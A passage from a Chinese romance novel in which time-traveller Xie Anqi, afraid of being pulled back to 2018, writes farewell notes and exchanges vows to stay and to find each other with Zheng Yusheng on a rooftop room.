“安琪。”他低声喊了一句。
她心口微微一跳，手指不自觉地攥紧他的衣角。
“嗯？”
“如果以后，你又突然走了……记得再回来找我。”他说，声音闷在她肩上，听起来笨拙又小心。她张了张嘴，想回答，却被喉咙里的酸意堵住，半晌，只能重重地点了点头，他们靠在一起，天色一点点发亮，城市的轮廓从夜色里缓缓显现出来。
谢安琪忽然开口：“小时候，我常常想象未来的样子。”
“是什么样？”
“我以为未来会很快，每天都在赶路，去看更多地方，去认识更多人。”她停顿了一下，目光渐渐柔软，“可现在才知道，原来能在同一个地方、同一个屋顶，跟一个人一起看天亮，就已经足够了。”
郑禹胜静静听着，没有插话，只是伸出手，慢慢把她揽得更紧一些。
“那你呢？”她偏头看他，眨了眨眼。
“我啊……”他低头笑了笑，目光落在她发顶，“我以前只想拍戏，只想着去更大的世界。但从遇见你以后，世界这两个字变得很小。”
“变成什么了？”
“变成一间屋塔房，变成一碗面，变成你。”她的喉咙又一次哽住，眼眶红了一圈。
“那如果有一天，我再也不回来呢？”她问，声音几乎被风吹散，郑禹胜忽然抬头，盯着她的眼睛，神情认真到让人不敢移开视线。
“那我就找到你，把你带回来。”他说，语气里没有一丝犹豫，谢安琪看着他，泪水终于溢出来，顺着脸颊滑进脖颈，凉凉的。
“你为什么这么固执啊……”她哭着笑了。
“因为我只有你。”他说完，像一颗安静而滚烫的石子，沉进她心底最柔软的地方，夜色被一点点稀释，远处传来第一辆清晨的垃圾车声，城市慢慢苏醒。谢安琪把脸埋进他怀里，声音闷闷的：“那你以后，不许再不接我电话，不许再摆冷脸，不许再……”
“好，都听你的。”他抬手拍着她后背，声音很轻，像哄小孩。
“那我也答应你，不再轻易走。”
郑禹胜没说话，只是把脸埋进她发间，呼吸越来越深。
他们就这样靠着，肩膀贴着肩膀，心跳交错，直到天完全亮开。回到屋里后，谢安琪倒在床上，整个人还沉浸在屋顶那片寂静的月色里，郑禹胜走到床边，蹲下来，看着她的侧脸。
“睡吧。”他说。
“你呢？”她微微偏头，声音带着困意。
“看着你睡。”他顿了顿，低声补了一句，“不走。”
她闭上眼，嘴角带着一点满足的笑。
“好，那我先睡。”
她呼吸渐渐平缓，彻底进入梦乡，郑禹胜伸手，轻轻抚过她的发，指尖每次停留，都像是一次告白。
“我会等你。”他低声说，“每一次，都会找你。”外面的光透过窗帘，落在他发梢，细碎而柔和，他看着她，胸口缓缓起伏，眼底有一片安静的坚定。
……
郑禹胜也有自己的事情要做，而谢安琪反而变得无所事事，甚至说她有点担心自己出门太频繁会被周围人感到奇怪后，再被出入境关注，除了少数时间都是在附近转悠买点东西外，多数时间在屋塔房呆着。
有的时候，谢安琪坐在桌边，面前铺着一叠便签纸，她知道自己必然在哪一天又突然回到了2018年，但什么时间，什么原因可能都不是很清晰，留一些信给他或许是个很好的办法。
只是谢安琪拿着笔尖在纸上停了很久，却没有写下一个完整的句子，她喝了一口已经凉透的茶，呼吸浅浅，视线一直停留在那张空白的纸上。
“要从哪一句开始呢……”她喃喃低语，谢安琪想过很多次，若有一天真的要走，想留下一封信给郑禹胜，把所有没来得及告诉他的细节都写进去。可当她真正拿起笔，却发现心里那么多话，一下子全都拥挤到喉咙里，堵得她胸口发紧，先写吧，心里这样想着，她写了一行字，又立刻划掉。
“我一直以为我只是来看你的。”
她写了另一行。
“如果有一天我不在了，请你……”
手指微微发抖，字迹不稳，笔尖划到纸张边缘，留下一道弯曲的痕迹，谢安琪放下笔，揉了揉眉心，低下头，脑海里像电影一样闪回很多片段。第一次看见他在便利店偷偷看自己，第一次一起在屋顶吃面，他会小心翼翼地把葱挑掉，却假装不在意。还有她每次回来，他表面上的冷漠，暗地里的守护，以及每一次被她弄得乱七八糟的心跳
她用指尖轻轻敲着桌面，像是给自己的节奏。
【安琪，别走。】那句她或许听他亲口说出来的请求，回荡在脑海里，格外清晰，谢安琪抬头看向窗外，夜色深到无边，像一条随时可能卷走她的河流。她重新拿起笔，深吸一口气，写下新的句子。
“如果有一天我必须走，不是我想放弃，是我没有选择。但我希望你不要停止等我，哪怕哪条线，我都会回来找你。等我。请你一定要等我。” 笔尖停住，她盯着那几行字，忽然觉得整个胸口被撕开了一道缝，风从里面灌进来，凉得发疼。
门外忽然传来细碎的脚步声，她迅速把便签压到书页里，抬头看去，郑禹胜正站在门口，头发有些乱，衣角微微起皱，手里还提着一瓶刚拆封的矿泉水，他站了一会儿，抬手敲了敲门，声音很轻。
“我能进来吗？”
谢安琪点了点头，他走进来，视线快速扫过桌面，最终停在她微红的眼尾上。
“你在写什么？”他的声音低沉，带着一丝不安。
“没……只是随便写写。”她本能地避开目光。
他慢慢走到桌前，伸手把她压在书页里的信纸抽出来，动作很缓，却不容她反抗，谢安琪想伸手去抢，却被他一把握住手腕。
“别动。”他语气很轻，却不带任何商量，他低下头，读那几行字，目光一点点变暗，指节发白，像是捏碎了什么。
“走……走？你还是要走吗？在还没有离开的时间里总想着要走？”郑禹胜抬起头，声音颤着，却压着一股即将溢出的情绪。
“我不是……”她慌乱地开口，却被他突如其来的靠近堵住，郑禹胜一把捧住她的脸，额头抵着她，呼吸急促到几乎打在她脸上。
“你还在想要走……还在写这些如果，假设，假如……”他咬着牙，声音压到极低，谢安琪想解释，可只要一对上他那双红得要滴出水的眼睛，所有话都卡在喉咙里，郑禹胜松开她的脸，却立刻抓住她的手，把她按到桌边，重新拉过一张信纸。
“写。”他说。
“什……什么？”她愣住，声音发颤。
“写你会留下。”他盯着她，眼底像藏着一场暴风雨，“写你不会再走，写你会让我找到。”
她看着他，呼吸完全乱了，眼泪不受控制地滑下来。
“快写！”他声音忽然扬高，却带着颤抖，像是终于破了一个口子，把藏了很久的脆弱全倒出来，谢安琪看着桌上的空白信纸，手被他攥得发疼，却没有挣脱，过了很久，她颤着手，慢慢写下几行字。
“我会留下。我不会再走。我会等你找到我。” 写完，她放下笔，整个人都在发抖，泪水一滴一滴砸在纸上，墨迹被晕开，模糊了一半。
郑禹胜看着那几行字，眼神一点点软下来，他忽然一把把她拉到怀里，像是再也控制不住，把她搂得死紧，几乎要把她嵌进骨头里。
“对不起……”他低声重复，声音断裂，“对不起……我只是太怕了……”
谢安琪靠在他怀里，眼泪打湿他的衬衫，呼吸混乱，“我知道。”她轻轻回，“我也怕，我一直都怕。”
郑禹胜一声不吭，只是搂着她，手背一下一下抚过她背脊，像在安抚一只流浪很久的猫。
两个人没有再多说什么，屋里只剩下心跳与呼吸交织出的声音，很久之后，他拉着她坐回桌边，把那张写满我会留下的便签纸小心折好，夹进屋塔房那本老旧的诗集里。
“这张不能丢。”他说，语气带着一点孩子气的固执，随后他又从信纸里抽出一张，抓过笔，飞快写了几行。
“我会等你，不管你在哪条线。我也会找到你，不管你认不认识我。” 写完，他把那张纸塞到谢安琪手里。
“这张你也留着。”郑禹胜说，谢安琪看着那几个歪歪扭扭的字，忽然笑了，笑到眼泪又涌出来。
“好。”她点头，那一刻，他们像是把未来的所有未知都写进这两张信纸里，写进这一夜的灯光，写进彼此温热的掌心。
郑禹胜拉着她的手，把她搂进怀里，呼吸沉稳。
“以后不要再写什么如果。”他轻轻说。
“嗯。”她靠在他胸口，声音像一颗落在湖面的水珠。
“所有未来，跟我一起写。”他说。
谢安琪闭着眼，笑了，呼吸变得轻柔而安稳，外面的风也停了，夜色被两盏心底的灯火照得亮起来，这一夜，他们写下的不是信，而是未来最温柔、最坚定的誓言。
郑禹胜走到她身边，抬起手，犹豫了一下，还是把她的手牵起来，放在自己掌心里，两人搬了两个旧垫子到屋顶，躺着看夜空里的星星，郑禹胜仰着头，指着一颗刚亮的星，说：“那个，以后就叫‘等你星’。”
“为什么？”她偏过头，看着他的侧脸。
“因为只要你还在看，它就会亮着。”他说。
谢安琪心底轻轻一颤，视线一点点模糊，却还是笑了。
“那你要记得，它其实会比我们老得快。”她轻轻说。
“没关系，我只看现在。”他偏头看她，声音低沉，“现在，你在我旁边，我就足够。”
谢安琪转过身，把头埋进他肩窝里，眼泪悄悄滑过鼻尖，落在他衬衫上，迅速被风吹干，两人就窝在屋顶的垫子上，披着同一条薄毛毯。远处偶有楼下店铺关门的声响，城市像一只疲惫却温柔的兽，缓缓躺下来，进入睡眠。
“以后，如果我再梦见你，或者再一次醒来，不知道在哪里……”谢安琪突然轻声开口，声音里混着夜风的轻颤。
“我会去找你。”他迅速回答，带着一种不容置疑的坚定，谢安琪安静了一会儿，鼻尖轻轻摩挲他的脖颈，像是在确认他的温度。
“那你要说出来，你要来找我，不许只是看着。”她小声补充，声音几乎埋在毛毯里。
“好。”他抬手，轻轻托住她后脑，“以后我会说，天天说，直到你听到。”
谢安琪闭着眼，嘴角带着一点微小而柔软的笑，远处的星星很亮，风很安静，所有未曾说完的誓言，都变成了轻轻呼吸里的回声，一圈一圈，环绕在两个人之间。
次日清晨，谢安琪先醒来，睁开眼时，看见郑禹胜还在熟睡，呼吸安稳，手还紧紧握着她。
她动了动手指，他的眉心微微皱了一下，却没有松开，谢安琪盯着他看了很久，心里有种说不出的热和软，谢安琪轻轻在心里说：“以后，我要用尽每一次机会再回来，找到你，告诉你我在。”
谢安琪靠近郑禹胜，轻轻在他嘴角印下一吻，动作轻得几乎不留痕迹，屋顶的风开始吹动毛毯，远处街道上传来第一辆牛奶车的声音，她躺回去，慢慢合上眼，这一次，她不再害怕梦，不再害怕消失。
因为谢安琪知道，无论哪条线，哪一颗星，他都会在那里，说：“我会找到你。”